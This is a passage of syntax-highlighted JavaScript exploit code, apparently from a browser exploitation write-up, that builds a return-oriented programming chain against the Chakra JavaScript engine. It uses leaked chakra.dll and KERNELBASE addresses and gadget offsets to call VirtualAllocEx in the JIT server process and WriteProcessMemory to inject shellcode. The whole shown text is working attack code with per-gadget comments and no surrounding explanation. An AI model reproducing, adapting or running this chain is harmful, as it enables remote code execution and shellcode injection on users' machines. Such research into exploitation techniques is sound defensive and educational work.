<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
